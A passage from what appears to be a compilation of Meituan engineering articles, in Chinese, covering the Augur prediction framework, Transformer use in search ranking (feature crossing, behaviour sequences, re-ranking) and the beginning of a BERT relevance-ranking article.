从繁复且危险的上线操作中解放出来，更加专注于算法迭代，从而取得更好的效果。

以点评搜索为例，在 Poker+Augur 稳定上线之后，经过短短半年的时间，点评搜索

核心 KPI 在高位基础上仍然实现了大幅提升，是过去一年半涨幅的六倍之多，提前半
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年完成全年的目标。

4.4	进阶预估操作：模型也是特征

4.4.1	Model	as	a	Feature，同构 or 异构？

在算法的迭代中，有时会将一个模型的预估的结果当做另外一个模型输入特征，进而

取得更好的效果。如美团搜索与 NLP 中心的算法同学使用 BERT 来解决长尾请求商

户的展示顺序问题，此时需要 BERT as a Feature。一般的做法是离线进行 BERT

批量计算，灌入特征存储供线上使用。但这种方式存在时效性较低（T+1）、覆盖度差

等缺点。最好的方式自然是可以在线实时去做 BERT 模型预估，并将预估输出值作

为特征，用于最终的模型打分。这就需要 Augur 提供 Model as a Feature 的能力。

得益于 Augur 抽象的流程框架，我们很快超额完成了任务。Model as a feature，

虽然要对一个 Model 做预估操作，但从更上层的模型角度看，它就是一个特征。既

然是特征，模型预估也就是一个计算 OP 而已。 所以我们只需要在内部实现一个特

殊的 OP，ModelFeatureOpreator 就可以干净地解决这些问题了。

我们在充分调研后，发现 Model as a Feature 有两个维度的需求：同构的特征和异

构的特征。同构指的是这个模型特征与模型的其他特征一样，是与要预估的文档统
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一维度的特征，那这个模型就可以配置在同一个服务下，也就是本机可以加载这个

Stacking 模型；而异构指的是 Model Feature 与当前预估的文档不是统一维度的，

比如商户下挂的商品，商户打分需要用到商品打分的结果，这两个模型非统一维度，

属于两个业务。正常逻辑下需要串行处理，但是 Augur 可以做得更高效。为此我们

设计了两个 OP 来解决问题：

 ● LocalModelFeature： 解决同构 Model Feature 的需求，用户只需像配置

普通特征表达式一样即可实现在线的 Model Stacking；当然，内部自然有优

化逻辑，比如外部模型和特征模型所需的特征做统一整合，尽可能的减少资源

消耗，提升性能。 该特征所配置的模型特征，将在本机执行，以减少 RPC。

 ● RemoteModelFeature：解决异构 Model Feature 的需求，用户还是只需

配置一个表达式，但是此表达式会去调用相应维度的 Augur 服务，获取相应

的模型和特征数据供主维度的 Augur 服务处理。虽然多了一层 RPC，但是相

对于纯线性的处理流程，分片异步后，还是有不少的性能提升。

美团搜索内部，已经通过 LocalModelFeature 的方式，实现了 BERT as a Fea-

ture。在几乎没有新的使用学习成本的前提下，同时在线上取得了明显的指标提升。

4.4.2	Online	Model	Ensemble

Augur 支持有单独抽取特征的接口，结合 Model as a Feature，若需要同时为一个

文档进行两个或者多个模型的打分，再将分数做加权后使用，非常方便地实现离线

Ensemble 出来模型的实时在线预估。我们可以配置一个简单的 LR、Empty 类型模

型（仅用于特征抽取），或者其他任何 Augur 支持的模型，再通过 LocalModelFea-

ture 配置若干的 Model Feature，就可以通过特征抽取接口得到一个文档多个模型

的线性加权分数了。而这一切都被包含在一个统一的抽象逻辑中，使用户的体验是连

续统一的，几乎没有增加学习成本。

除了上面的操作外，Augur 还提供了打分的同时带回部分特征的接口，供后续的业务

规则处理使用。
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5. 更多思考

当然，肯定没有完美的框架和平台。Augur 和 Poker 还有很大的进步空间，也有一

些不可回避的问题。主要包括以下几个方面。

被迫“消失”的Listwise 特征

前面说到，系统架构设计中没有“银弹”。在采用了无状态分布式的设计后，请求会

分片。所以 ListWise 类型的特征就必须在打分前算好，再通过接口传递给 Augur 使

用。在权衡性能和效果之后，算法同学放弃了这一类型的特征。

当然，不是说 Augur 不能实现，只是成本有些高，所以暂时 Hold 。我们也有设计过

方案，在可量化的收益高于成本的时候，我们会在 Augur 中开放协作的接口。

单机多层打分的缺失

Augur 一次可以进行多个模型的打分，模型相互依赖（下一层模型用到上一层模型的

结果）也可以通过 Stacking 技术来解决。但如果模型相互依赖又逐层减少预估文档

（比如，第一轮预估 1000 个，第二轮预估 500），则只能通过多次 RPC 的方式去解

决问题，这是一个现实问题的权衡。分片打分的性能提升，能否 Cover 多次 RPC 的

开销？在实际开发中，为了保持框架的清晰简单，我们选择了放弃多层打分的特性。

离线能力缺失？

Poker 是搜索实验平台的名字。我们设计它的初衷，是解决搜索模型实验中，从离

线到在线所有繁复的手工操作，使搜索拥有一键训练、一键 Fork、一键上线的能力。

与公司其他的训练平台不同，我们通过完善的在线预估框架倒推离线训练的需求，进

而构建了与在线无缝结合的搜索实验平台，极大地提升了算法同学的工作效。

未来，我们也会向大家介绍产品级别的一站式搜索实验平台，敬请期待。

6. 未来展望

在统一了搜索的在线预估框架后，我们会进一步对 Augur 的性能 & 能力进行扩展。
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未来，我们将会在检索粗排以及性能要求更高的预估场景中去发挥它的能力与价值。

同时 ，我们正在将在线预估框架进一步融合到我们的搜索实验平台 Poker 中，与离

线训练和 AB 实验平台做了深度的打通，为业务构建高效完整的模型实验基础设施。

如果你想近距离感受一下 Augur 的魅力，欢迎加入美团技术团队！

7. 作者简介
朱敏，紫顺，乐钦，洪晨，乔宇，武进，孝峰，俊浩等，均来自美团搜索与 NLP 部。
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Transformer	在美团搜索排序中的实践

作者：肖垚

引言

美团搜索是美团 App 连接用户与商家的一种重要方式，而排序策略则是搜索链路的

关键环节，对搜索展示效果起着至关重要的效果。目前，美团的搜索排序流程为多层

排序，分别是粗排、精排、异构排序等，多层排序的流程主要是为了平衡效果和性

能。其中搜索核心精排策略是 DNN 模型，我们始终贴近业务，并且结合先进技术，

从特征、模型结构、优化目标角度对排序效果进行了全面的优化。

近些年，基于 Transformer[1] 的一些 NLP 模型大放光彩，比如 BERT[2] 等等，

将 Transformer 结构应用于搜索推荐系统也成为业界的一个潮流。比如应用于对 

CTR 预估模型进行特征组合的 AutoInt[3]、行为序列建模的 BST[4] 以及重排序模型 

PRM[5]，这些工作都证明了 Transformer 引入搜索推荐领域能取得不错的效果，所

以美团搜索核心排序也在 Transformer 上进行了相关的探索。

本文旨在分享 Transformer 在美团搜索排序上的实践经验。内容会分为以下三个部

分：第一部分对 Transformer 进行简单介绍，第二部分会介绍 Transfomer 在美团

搜索排序上的应用以及实践经验，最后一部分是总结与展望。希望能对大家有所帮助

和启发。

Transformer 简介

Transformer 是谷歌在论文《Attention is all you need》[1] 中提出来解决 Sequence 

to Sequence 问题的模型，其本质上是一个编解码（Encoder-Decoder ）结构，编

码器 Encoder 由 6 个编码 block 组成，Encoder 中的每个 block 包含 Multi-Head 

Attention 和 FFN（Feed-Forward Network）；同样解码器 Decoder 也是 6 个解码 

block 组成，每个 block 包含 Multi-Head Attention、Encoder-Decoder Attention 
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和 FFN。具体结构如图 1 所示，其详细的介绍可参考文献 [1,6]。

图 1　Transformer 结构示意图

考虑到后续内容出现的 Transformer Layer 就是 Transformer 的编码层，这里先对

它做简单的介绍。它主要由以下两部分组成：
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Multi-Head	Attention

Multi-Head Attention 实际上是 h 个 Self-Attention 的集成， h 代表头的个数。其

中 Self-Attention 的计算公式如下：

其中，Q 代表查询，K 代表键，V 代表数值。

在我们的应用实践中，原始输入是一系列 Embedding 向量构成的矩阵 E ，矩阵 E 

首先通过线性投影：

得到三个矩阵：

然后将投影后的矩阵输入到 Multi-Head Attention。计算公式如下：

Point-wise	Feed-Forward	Networks

该模块是为了提高模型的非线性能力提出来的，它就是全连接神经网络结构，计算公

式如下：
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Transformer Layer 就是通过这种自注意力机制层和普通非线性层来实现对输入信号

的编码，得到信号的表示。

美团搜索排序 Transformer 实践经验

Transformer 在美团搜索排序上的实践主要分以下三个部分：第一部分是特征工程，

第二部分是行为序列建模，第三部分是重排序。下面会逐一进行详细介绍。

特征工程

在搜索排序系统中，特征工程的输入特征维度高但稀疏性很强，而准确的交叉特征对

模型的效果又至关重要。所以寻找一种高效的特征提取方式就变得十分重要，我们借

鉴 AutoInt[3] 的方法，采用 Transformer Layer 进行特征的高阶组合。

模型结构

我们的模型结构参考 AutoInt[3] 结构，但在实践中，根据美团搜索的数据特点，我们

对模型结构做了一些调整，如下图 2 所示：

图 2　Transformer&Deep 结构示意图
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相比 AutoInt[3]，该结构有以下不同：

 ● 保留将稠密特征和离散特征的 Embedding 送入到 MLP 网络，以隐式的方式

学习其非线性表达。

 ● Transformer Layer 部分，不是送入所有特征的 Embedding，而是基于人工经

验选择了部分特征的 Embedding，第一点是因为美团搜索场景特征的维度高，

全输入进去会提高模型的复杂度，导致训练和预测都很慢；第二点是，所有特征

的 Embedding 维度不完全相同，也不适合一起输入到 Transformer Layer 。

Embedding	Layer	部分：众所周知在 CTR 预估中，除了大规模稀疏 ID 特征，稠

密类型的统计特征也是非常有用的特征，所以这部分将所有的稠密特征和稀疏 ID 特

征都转换成 Embedding 表示。

Transformer	部分：针对用户行为序列、商户 、品类 、地理位置等 Embedding 

表示，使用 Transformer Layer 来显示学习这些特征的交叉关系。

MLP	部分：考虑到 MLP 具有很强的隐式交叉能力，将所有特征的 Embedding 表

示 concat 一起输入到 MLP。

实践效果及经验

效果：离线效果提升，线上 QV_CTR 效果波动。

经验：

 ● 三层 Transformer 编码层效果比较好。

 ● 调节多头注意力的“头”数对效果影响不大 。

 ● Transformer 编码层输出的 Embedding 大小对结果影响不大。

 ● Transformer 和 MLP 融合的时候，最后结果融合和先 concat 再接一个全连

接层效果差不多。
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行为序列建模

理解用户是搜索排序中一个非常重要的问题。过去，我们对训练数据研究发现，在训

练数据量很大的情况下，item 的大部分信息都可以被 ID 的 Embedding 向量进行表

示，但是用户 ID 在训练数据中是十分稀疏的，用户 ID 很容易导致模型过拟合，所以

需要大量的泛化特征来较好的表达用户。这些泛化特征可以分为两类：一类是偏静态

的特征，例如用户的基本属性（年龄、性别、职业等等）特征、长期偏好（品类、价格

等等）特征；另一类是动态变化的特征，例如刻画用户兴趣的实时行为序列特征。而

用户实时行为特征能够明显加强不同样本之间的区分度，所以在模型中优化用户行为

序列建模是让模型更好理解用户的关键环节。

目 前， 主 流 方 法 是 采 用 对 用 户 行 为 序 列 中 的 item 进 行 Sum-pooling 或 者 

Mean-pooling 后的结果来表达用户的兴趣，这种假设所有行为内的 item 对用户的

兴趣都是等价的，因而会引入一些噪声。尤其是在美团搜索这种交互场景，这种假设

往往是不能很好地进行建模来表达用户兴趣。

近年来，在搜索推荐算法领域，针对用户行为序列建模取得了重要的进展：DIN 引入

注意力机制，考虑行为序列中不同 item 对当前预测 item 有不同的影响 [7]；而 DIEN 

的提出，解决 DIN 无法捕捉用户兴趣动态变化的缺点 [8]。DSIN 针对 DIN 和 DIEN 

没有考虑用户历史行为中的 Session 信息，因为每个 Session 中的行为是相近的，

而在不同 Session 之间的差别很大，它在 Session 层面上对用户的行为序列进行建

模 [9]；BST 模型通过 Transformer 模型来捕捉用户历史行为序列中的各个 item 的关

联特征，与此同时，加入待预测的 item 来达到抽取行为序列中的商品与待推荐商品

之间的相关性 [4]。这些已经发表过的工作都具有很大的价值。接下来，我们主要从美

团搜索的实践业务角度出发，来介绍 Transformer 在用户行为序列建模上的实践。

模型结构

在 Transformer 行为序列建模中，我们迭代了三个版本的模型结构，下面会依次进

行介绍。
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模型主要构成：所有特征（user 维度、item 维度、query 维度、上下文维度、交叉维

度）经过底层 Embedding Layer 得到对应的 Embedding 表示；建模用户行为序列得

到用户的 Embedding 表示；所有 Embedding concat 一起送入到三层的 MLP 网络。

第一个版本：因为到原来的 Sum-pooling 建模方式没有考虑行为序列内部各行为的

关系，而 Transformer 又被证明能够很好地建模序列内部之间的关系，所以我们尝

试直接将行为序列输入到 Transformer Layer，其模型结构如图 3 所示：

图 3　Transformer 行为序列建模

行为序列建模

输入部分：

 ● 分为短期行为序列和长期行为序列。

 ● 行为序列内部的每个行为原始表示是由商户 ID，以及一些商户泛化信息的 

Embedding 进行 concat 组成。

 ● 每段行为序列的长度固定，不足部分使用零向量进行补齐。
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输出部分： 对 Transformer Layer 输 出 的 向 量 做 Sum-pooling （这 里 尝 试 过

Mean-pooling、concat，效果差不多）得到行为序列的最终 Embedding 表示。

该版本的离线指标相比线上 Base（行为序列 Sum-pooling） 模型持平，尽管该版本

没有取得离线提升，但是我们继续尝试优化。

第二个版本：第一个版本存在一个问题，对所有的 item 打分的时候，用户的 Embed-

ding 表示都是一样的，所以参考 BST[4]，在第一个版本的基础上引入 Target-item，

这样可以学习行为序列内部的 item 与 Target-item 的相关性，这样在对不同的 item 

打分时，用户的 Embedding 表示是不一样的，其模型结构如下图 4 所示：

图 4　Transformer 行为序列建模

该版本的离线指标相比线上 Base（行为序列 Sum-pooling） 模型提升，上线发现效

果波动，我们仍然没有灰心，继续迭代优化。

第三个版本：和第二个版本一样，同样针对第一个版本存在的对不同 item 打分，用户 

Embedding 表示一样的问题，尝试在第一个版本引入 Transformer 的基础上，叠加 

DIN[7] 模型里面的 Attention-pooling 机制来解决该问题，其模型结构如图 5 所示：
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图 5　Transformer 行为序列建模

该版本的离线指标相比第二个版本模型有提升，上线效果相比线上 Base（行为序列 

Sum-pooling）有稳定提升。

实践效果及经验

效果：第三个版本（Transformer + Attention-pooling）模型的线上 QV_CTR 和 

NDCG 提升最为显著。

经验：

 ● Transformer 编码为什么有效？ Transformer 编码层内部的自注意力机制，

能够对序列内 item 的相互关系进行有效的建模来实现更好的表达，并且我们

离线实验不加 Transformer 编码层的 Attention-pooling，发现离线 NDCG 

下降，从实验上证明了 Transformer 编码有效。

 ● Transformer 编码为什么优于 GRU ？忽略 GRU 的性能差于 Transformer；

我们做过实验将行为序列长度的上限往下调，Transformer 的效果相比 

GRU 的效果提升在缩小，但是整体还是行为序列的长度越大越好，所以
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Transformer 相比 GRU 在长距离时，特征捕获能力更强。

 ● 位置编码（Pos-Encoding）的影响我们试过加 Transformer 里面原生的正余

弦以及距当前预测时间的时间间隔的位置编码都无效果，分析应该是我们在处

理行为序列的时候，已经将序列切割成不同时间段，一定程度上包含了时序位

置信息。为了验证这个想法，我们做了仅使用一个长序列的实验（对照组不加

位置编码，实验组加位置编码，离线 NDCG 有提升），这验证了我们的猜测。

 ● Transformer 编码层不需要太多，层数过多导致模型过于复杂，模型收敛慢效

果不好。

 ● 调节多头注意力的“头”数对效果影响不大。

重排序

在引言中，我们提到美团搜索排序过去做了很多优化工作，但是大部分都是集中在 

PointWise 的排序策略上，未能充分利用商户展示列表的上下文信息来优化排序。一

种直接利用上下文信息优化排序的方法是对精排的结果进行重排，这可以抽象建模

成一个序列（排序序列）生成另一个序列（重排序列）的过程，自然联想到可以使用 

NLP 领域常用的 Sequence to Sequence 建模方法进行重排序建模。

目前业界已有一些重排序的工作，比如使用 RNN 重排序 [10-11]、Transformer 重排

序 [5]。考虑到 Transformer 相比 RNN 有以下两个优势：（1）两个 item 的相关性计

算不受距离的影响 （2）Transformer 可以并行计算，处理效率比 RNN 更高；所以我

们选择 Transformer 对重排序进行建模。

模型结构

模型结构参考了 PRM[5]，结合美团搜索实践的情况，重排序模型相比 PRM 做了一

些调整。具体结构如图 6 所示，其中 D1，D2，…，Dn 是重排商户集合，最后根据

模型的输出 Score(D1)，Score(D2)，…，Score(Dn) 按照从大到小进行排序。
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图 6　Transformer 重排序

主要由以下几个部分构成：

 ● 特征向量生成：由原始特征（user、item、交叉等维度的稠密统计特征）经过

一层全连接的输出进行表示。

 ● 输入层：其中 X 表示商户的特征向量，P 表示商户的位置编码，将特征向量 X 

与位置向量 P 进行 concat 作为最终输入。

 ● Transformer 编码层：一层 Multi-Head Attention 和 FFN 的。

 ● 输出层：一层全连接网络得到打分输出 Score。

模型细节：

 ● 特征向量生成部分和重排序模型是一个整体，联合端到端训练。

 ● 训练和预测阶段固定选择 TopK 进行重排，遇到某些请求曝光 item 集不够 

TopK 的情况下，在末尾补零向量进行对齐。

实践效果及经验

效果：Transformer 重排序对线上 NDCG 和 QV_CTR 均稳定正向提升。

经验：

 ● 重排序大小如何选择？考虑到线上性能问题，重排序的候选集不能过大，我们
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分析数据发现 95% 的用户浏览深度不超过 10，所以我们选择对 Top10 的商

户进行重排。

 ● 位置编码向量的重要性：这个在重排序中很重要，需要位置编码向量来刻

画位置，更好的让模型学习出上下文信息，离线实验发现去掉位置向量 

NDCG@10 下降明显。

 ● 性能优化：最初选择商户全部的精排特征作为输入，发现线上预测时间太慢；

后面进行特征重要性评估，筛选出部分重要特征作为输入，使得线上预测性能

满足上线要求。

 ● 调节多头注意力的“头”数对效果影响不大。

总结和展望

2019 年底，美团搜索对 Transformer 在排序中的应用进行了一些探索，既取得了一

些技术沉淀也在线上指标上取得比较明显的收益，不过未来还有很多的技术可以探索。

 ● 在特征工程上，引入 Transformer 层进行高阶特征组合虽然没有带来收益，

但是在这个过程中也再次验证了没有万能的模型对所有场景数据有效。目前搜

索团队也在探索在特征层面应用 BERT 对精排模型进行优化。

 ● 在行为序列建模上，目前的工作集中在对已有的用户行为数据进行建模来理解

用户，未来要想更加深入全面的认识用户，更加丰富的用户数据必不可少。当

有了这些数据后如何进行利用，又是一个可以探索的技术点，比如图神经网络

建模等等。

 ● 在重排序建模上，目前引入 Transformer 取得了一些效果，同时随着强化学

习的普及，在美团这种用户与系统强交互的场景下，用户的行为反馈蕴含着很

大的研究价值，未来利用用户的实时反馈信息进行调序是个值得探索的方向。

例如，根据用户上一刻的浏览反馈，对用户下一刻的展示结果进行调序。

除了上面提到的三点，考虑到美团搜索上承载着多个业务，比如美食、到综、酒店、

旅游等等，各个业务之间既有共性也有自己独有的特性，并且除了优化用户体验，也

需要满足业务需求。为了更好的对这一块建模优化， 我们也正在探索 Partition Model 
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和多目标相关的工作，欢迎业界同行一起交流。
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BERT在美团搜索核心排序的探索和实践

作者：李勇　佳昊　杨扬　金刚　周翔　朱敏等

为进一步优化美团搜索排序结果的深度语义相关性，提升用户体验，搜索与 NLP 部

算法团队从 2019 年底开始基于 BERT 优化美团搜索排序相关性，经过三个月的算法

迭代优化，离线和线上效果均取得一定进展。本文主要介绍探索过程以及实践经验。

引言

美团搜索是美团 App 上最大的连接人和服务的入口，覆盖了团购、外卖、电影、酒

店、买菜等各种生活服务。随着用户量快速增长，越来越多的用户在不同场景下都

会通过搜索来获取自己想要的服务。理解用户 Query，将用户最想要的结果排在靠

前的位置，是搜索引擎最核心的两大步骤。但是，用户输入的 Query 多种多样，既

有商户名称和服务品类的 Query，也有商户别名和地址等长尾的 Query，准确刻画

Query 与 Doc 之间的深度语义相关性至关重要。基于 Term 匹配的传统相关性特征

可以较好地判断 Query 和候选 Doc 的字面相关性，但在字面相差较大时，则难以刻

画出两者的相关性，比如 Query 和 Doc 分别为“英语辅导”和“新东方”时两者的

语义是相关的，使用传统方法得到的 Query-Doc 相关性却不一致。

2018 年底，以 Google BERT[1] 为代表的预训练语言模型刷新了多项 NLP 任务的

最好水平，开创了 NLP 研究的新范式：即先基于大量无监督语料进行语言模型预

训练（Pre-training），再使用少量标注语料进行微调（Fine-tuning）来完成下游的

NLP 任务（文本分类、序列标注、句间关系判断和机器阅读理解等）。美团 AI 平台搜

索与 NLP 部算法团队基于美团海量业务语料训练了 MT-BERT 模型，已经将 MT-

BERT 应用到搜索意图识别、细粒度情感分析、点评推荐理由、场景化分类等业务场

景中 [2]。

作为 BERT 的核心组成结构，Transformer 具有强大的文本特征提取能力，早在多

项 NLP 任务中得到了验证，美团搜索也基于 Transformer 升级了核心排序模型，取
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得了不错的研究成果 [3]。为进一步优化美团搜索排序结果的深度语义相关性，提升用

户体验，搜索与 NLP 部算法团队从 2019 年底开始基于 BERT 优化美团搜索排序相

关性，经过三个月的算法迭代优化，离线和线上效果均取得一定进展，本文主要介绍

BERT 在优化美团搜索核心排序上的探索过程以及实践经验。

BERT 简介

近年来，以 BERT 为代表的预训练语言模型在多项 NLP 任务上都获得了不错的

效果。下图 1 简要回顾了预训练语言模型的发展历程。2013 年，Google 提出的 

Word2vec[4] 通过神经网络预训练方式来生成词向量（Word Embedding），极大地

推动了深度自然语言处理的发展。针对 Word2vec 生成的固定词向量无法解决多义

词的问题，2018 年，Allen AI 团队提出基于双向 LSTM 网络的 ELMo[5]。ELMo 根

据上下文语义来生成动态词向量，很好地解决了多义词的问题。2017 年底，Google

提出了基于自注意力机制的 Transformer[6] 模型。

相比 RNN 模型，Transformer 语义特征提取能力更强，具备长距离特征捕获能

力，且可以并行训练，在机器翻译等 NLP 任务上效果显著。Open AI 团队的 GPT[7]

使用 Transformer 替换 RNN 进行深层单向语言模型预训练，并通过在下游任务上

Fine-tuning 验证了 Pretrain-Finetune 范式的有效性。在此基础上，Google BERT

引 入 了 MLM（Masked Language Model）及 NSP（Next Sentence Prediction，

NSP）两个预训练任务，并在更大规模语料上进行预训练，在 11 项自然语言理解任

务上刷新了最好指标。BERT 的成功启发了大量后续工作，总结如下：

 ● 融合更多外部知识的百度 ERNIE[8]， 清华 ERNIE[9] 和 K-BERT[10] 等；

 ● 优化预训练目标的 ERNIE 2.0[11]，RoBERTa[12]，SpanBERT[13]，Struct-

BERT[14] 等；

 ● 优化模型结构或者训练方式的 ALBERT[15] 和 ELECTRA[16]。关于预训练模型

的各种后续工作，可以参考复旦大学邱锡鹏老师最近的综述 [17]，本文不再赘述。
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图 1　NLP 预训练发展历程

基于预训练好的 BERT 模型可以支持多种下游 NLP 任务。BERT 在下游任务中

的 应 用 主 要 有 两 种 方 式： 即 Feature-based 和 Finetune-based。 其 中 Fea-

ture-based 方法将 BERT 作为文本编码器获取文本表示向量，从而完成文本相似度

计算、向量召回等任务。而 Finetune-based 方法是在预训练模型的基础上，使用

具体任务的部分训练数据进行训练，从而针对性地修正预训练阶段获得的网络参数。

该方法更为主流，在大多数任务上效果也更好。

由于 BERT 在 NLP 任务上的显著优势，一些研究工作开始将 BERT 应用于文档

排序等信息检索任务中。清华大学 Qiao 等人 [18] 详细对比了 Feature-based 和

Finetune-based 两种应用方式在段落排序（Passage Ranking）中的效果。滑铁

卢大学 Jimmy Lin 团队 [19] 针对文档排序任务提出了基于 Pointwise 和 Pairwise 训

练目标的 MonoBERT 和 DuoBERT 模型。此外，该团队 [20] 提出融合基于 BERT

的 Query-Doc 相关性和 Query-Sentence 相关性来优化文档排序任务的方案。为

了优化检索性能和效果，Bing 广告团队 [21] 提出一种双塔结构的 TwinBERT 分别

编码 Query 和 Doc 文本。2019 年 10 月，Google 在其官方博客介绍了 BERT 在

Google 搜索排序和精选摘要（Featured Snippet）场景的应用，BERT 强大的语

义理解能力改善了约 10% 的 Google 搜索结果 [22]，除了英文网页，Google 也正在

基于 BERT 优化其他语言的搜索结果。值得一提的是美团 AI 平台搜索与 NLP 部在
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WSDM Cup 2020 检索排序评测任务中提出了基于 Pairwise 模式的 BERT 排序模

型和基于 LightGBM 的排序模型，取得了榜单第一名的成绩 [23]。

搜索相关性

美团搜索场景下相关性任务定义如下：给定用户 Query 和候选 Doc（通常为商户或商

品），判断两者之间相关性。搜索 Query 和 Doc 的相关性直接反映结果页排序的优

劣，将相关性高的 Doc 排在前面，能提高用户搜索决策效率和搜索体验。为了提升

结果的相关性，我们在召回、排序等多个方面做了优化，本文主要讨论在排序方面的

优化。通过先对 Query 和 Doc 的相关性进行建模，把更加准确的相关性信息输送给

排序模型，从而提升排序模型的排序能力。Query 和 Doc 的相关性计算是搜索业务

核心技术之一，根据计算方法相关性主要分为字面相关性和语义相关性。

字面相关性

早期的相关性匹配主要是根据 Term 的字面匹配度来计算相关性，如字面命中、覆盖

程度、TFIDF、BM25 等。字面匹配的相关性特征在美团搜索排序模型中起着重要作

用，但字面匹配有它的局限，主要表现在：

 ● 词义局限：字面匹配无法处理同义词和多义词问题，如在美团业务场景下“宾

馆”和“旅店”虽然字面上不匹配，但都是搜索“住宿服务”的同义词；而

“COCO”是多义词，在不同业务场景下表示的语义不同，可能是奶茶店，也

可能是理发店。

 ● 结构局限：“蛋糕奶油”和“奶油蛋糕”虽词汇完全重合，但表达的语义完全不

同。 当用户搜“蛋糕奶油”时，其意图往往是找“奶油”，而搜“奶油蛋糕”

的需求基本上都是“蛋糕”。

语义相关性

为了解决上述问题，业界工作包括传统语义匹配模型和深度语义匹配模型。传统语义

匹配模型包括：
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 ● 隐式模型：将 Query、Doc 都映射到同一个隐式向量空间，通过向量相似度来

计算 Query-Doc 相关性，例如使用主题模型 LDA[24] 将 Query 和 Doc 映射

到同一向量空间；

 ● 翻译模型：通过统计机器翻译方法将 Doc 进行改写后与 Query 进行匹配 [25]。

这些方法弥补了字面匹配方法的不足，不过从实际效果上来看，还是无法很好地解决

语义匹配问题。随着深度自然语言处理技术的兴起，基于深度学习的语义匹配方法成

为研究热点，主要包括基于表示的匹配方法（Representation-based）和基于交互

的匹配方法（Interaction-based）。

基于表示的匹配方法：使用深度学习模型分别表征 Query 和 Doc，通过计算向量相

似度来作为语义匹配分数。微软的 DSSM[26] 及其扩展模型属于基于表示的语义匹配

方法，美团搜索借鉴 DSSM 的双塔结构思想，左边塔输入 Query 信息，右边塔输入

POI、品类信息，生成 Query 和 Doc 的高阶文本相关性、高阶品类相关性特征，应

用于排序模型中取得了很好的效果。此外，比较有代表性的表示匹配模型还有百度提

出 SimNet[27]，中科院提出的多视角循环神经网络匹配模型（MV-LSTM）[28] 等。

基于交互的匹配方法：这种方法不直接学习 Query 和 Doc 的语义表示向量，而是在

神经网络底层就让 Query 和 Doc 提前交互，从而获得更好的文本向量表示，最后通

过一个 MLP 网络获得语义匹配分数。代表性模型有华为提出的基于卷积神经网络的

匹配模型 ARC-II[29]，中科院提出的基于矩阵匹配的的层次化匹配模型 MatchPyra-

mid[30]。

基于表示的匹配方法优势在于 Doc 的语义向量可以离线预先计算，在线预测时只需

要重新计算 Query 的语义向量，缺点是模型学习时 Query 和 Doc 两者没有任何交

互，不能充分利用 Query 和 Doc 的细粒度匹配信号。基于交互的匹配方法优势在于

Query 和 Doc 在模型训练时能够进行充分的交互匹配，语义匹配效果好，缺点是部

署上线成本较高。
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BERT 语义相关性

BERT 预训练使用了大量语料，通用语义表征能力更好，BERT 的 Transformer 结

构特征提取能力更强。中文 BERT 基于字粒度预训练，可以减少未登录词（OOV）

的影响，美团业务场景下存在大量长尾 Query（如大量数字和英文复合 Query）字粒

度模型效果优于词粒度模型。此外，BERT 中使用位置向量建模文本位置信息，可以

解决语义匹配的结构局限。综上所述，我们认为 BERT 应用在语义匹配任务上会有

更好的效果，基于 BERT 的语义匹配有两种应用方式：

 ● Feature-based：属于基于表示的语义匹配方法。类似于 DSSM 双塔结

构，通过 BERT 将 Query 和 Doc 编码为向量，Doc 向量离线计算完成进入

索引，Query 向量线上实时计算，通过近似最近邻（ANN）等方法实现相关

Doc 召回。

 ● Finetune-based：属于基于交互的语义匹配方法，将 Query 和 Doc 对输

入 BERT 进行句间关系 Fine-tuning，最后通过 MLP 网络得到相关性分数。

Feature-based 方式是经过 BERT 得到 Query 和 Doc 的表示向量，然后计算余弦

相似度，所有业务场景下 Query-Doc 相似度都是固定的，不利于适配不同业务场

景。此外，在实际场景下为海量 Doc 向量建立索引存储成本过高。因此，我们选择

了 Finetune-based 方案，利用搜索场景中用户点击数据构造训练数据，然后通过

Fine-tuning 方式优化 Query-Doc 语义匹配任务。图 2 展示了基于 BERT 优化美

团搜索核心排序相关性的技术架构图，主要包括三部分：

 ● 数据样本增强：由于相关性模型的训练基于搜索用户行为标注的弱监督数据，

我们结合业务经验对数据做了去噪和数据映射。为了更好地评价相关性模型

的离线效果，我们构建了一套人工标注的 Benchmark 数据集，指导模型迭

代方向。

 ● BERT领域适配：美团业务场景中，Query 和 Doc 以商户、商品、团购等短

文本为主，除标题文本以外，还存在商户 / 商品描述、品类、地址、图谱标签

等结构化信息。我们首先改进了 MT-BERT 预训练方法，将品类、标签等文
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本信息也加入 MT-BERT 预训练过程中。在相关性 Fine-tuning 阶段，我们

对训练目标进行了优化，使得相关性任务和排序任务目标更加匹配，并进一

步将两个任务结合进行联合训练。此外，由于 BERT 模型前向推理比较耗时，

难以满足上线要求，我们通过知识蒸馏将 12 层 BERT 模型压缩为符合上线要

求的 2 层小模型，且无显著的效果损失。

 ● 排序模型优化：核心排序模型（本文记为 L2 模型）包括 LambdaDNN[31]、

TransformerDNN[3]、MultiTaskDNN 等深度学习模型。给定，我们将基于

BERT 预测的 Query-Doc 相关性分数作为特征用于 L2 模型的训练中。

图 2　美团搜索核心排序相关性优化技术架构图

算法探索

数据增强

BERT Fine-tuning 任务需要一定量标注数据进行迁移学习训练，美团搜索场景下

Query 和 Doc 覆盖多个业务领域，如果采用人工标注的方法为每个业务领域标注一

批训练样本，时间和人力成本过高。我们的解决办法是使用美团搜索积累的大量用

户行为数据（如浏览、点击、下单等）， 这些行为数据可以作为弱监督训练数据。在
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DSSM 模型进行样本构造时，每个 Query 下抽取 1 个正样本和 4 个负样本，这是比

较常用的方法，但是其假设 Query 下的 Doc 被点击就算是相关的，这个假设在实际

的业务场景下会给模型引入一些噪声。

此处以商家（POI）搜索为例，理想情况下如果一个 POI 出现在搜索结果里，但是没

有任何用户点击，可认为该 POI 和 Query 不相关；如果该 POI 有点击或下单行为，

可认为该 POI 和 Query 相关。下单行为数据是用户“用脚投票”得来的，具有更高

的置信度，因此我们使用下单数据作为正样本，使用未点击过的数据构造负样本，然

后结合业务场景对样本进一步优化。数据优化主要包括对样本去噪和引入品牌数据两

个方面。此外，为了评测算法离线效果，我们从构造样本中随机采样 9K 条样本进行

了人工标注作为 Benchmark 数据集。

样本去噪

无意义单字 Query 过滤。由于单字 Query 表达的语义通常不完整，用户点击行为也

比较随机，如 < 优，花漾星球专柜（中央大道倍客优）>，这部分数据如果用于训练会

影响最终效果。我们去除了包含无意义单字 Query 的全部样本。

正样本从用户下单的 POI 中进行随机采样，且过滤掉 Query 只出现在 POI 的分店

名中的样本，如 < 大润发，小龙坎老火锅（大润发店）>，虽然 Query 和 POI 字面匹

配，但其实是不相关的结果。

负样本尝试了两种构造方法：全局随机负采样和 Skip-Above 采样。

 ● 全局随机负采样：用户没有点击的 POI 进行随机采样得到负例。我们观察发现

